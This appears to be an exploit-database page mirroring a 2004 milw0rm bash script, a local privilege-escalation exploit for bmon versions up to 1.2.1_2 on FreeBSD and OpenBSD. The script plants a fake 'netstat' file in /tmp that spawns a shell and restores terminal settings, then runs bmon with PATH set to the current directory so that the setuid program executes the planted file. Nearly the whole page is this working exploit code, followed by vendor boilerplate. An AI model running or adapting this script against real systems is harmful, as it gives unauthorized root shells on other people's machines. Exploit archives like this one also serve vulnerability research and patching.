Lucene search
K

BSD bmon <= 1.2.1_2 - Local Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

FreeBSD/OpenBSD bmon Local Exploi

Code

                                                #!/usr/local/bin/bash

# Written by Idan Nahoum. [email protected]
# local exploit for FreeBSD/OpenBSD with bmon &#60; 1.2.1_2 installed.
# when bmon is executed with the -n parameter it popen()s netcat
# but fail to provide an absoluth path.
# some bsds are configured with acls that doesnt allow setuid files to 
# run except those that are explicity allowed, so creating a file called 
# netcat that chmod&#39;s +s bash wouldnt work, bash needs to run directly by
# bmon which uses ncurses, so to get a useable shell we need to redirect
# stdout to stderr (stdout is closed), and restore the stty settings.
# http://www.vuxml.org/freebsd/938f357c-16dd-11d9-bc4a-000c41e2cdad.html

declare -r SPATH=&#34;${PATH}&#34;
declare -r STTY_EXEC=$(which stty)
declare -r STTY_SETTINGS=$(${STTY_EXEC} -g) 
declare -r QSHELL=&#34;/usr/local/bin/bash&#34;
declare BMON_EXEC=&#34;/usr/local/sbin/bmon&#34;

echo &#34;$0 &#60;path to bmon&#62; [default: ${BMON_EXEC}]&#34;

[ &#34;$#&#34; -gt &#34;0&#34; ] && BMON_EXEC=&#34;${1}&#34;

[ -x &#34;${BMON_EXEC}&#34; ] || 
{
echo &#34;${BMON_EXEC} not found&#34;
exit
}

cd /tmp

# apparently bmon closes stdout, so we run a shell with stdout redirected 
# to stderr.

cat &#62; ./netstat &#60;&#60;EOF
${STTY_EXEC} ${STTY_SETTINGS}
PATH=${SPATH} /bin/sh 1&#62;&2
EOF

/bin/chmod 755 ./netstat
echo &#34;trying to exploit&#34;
PATH=./ &#34;${BMON_EXEC}&#34; -n 

# milw0rm.com [2004-10-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
12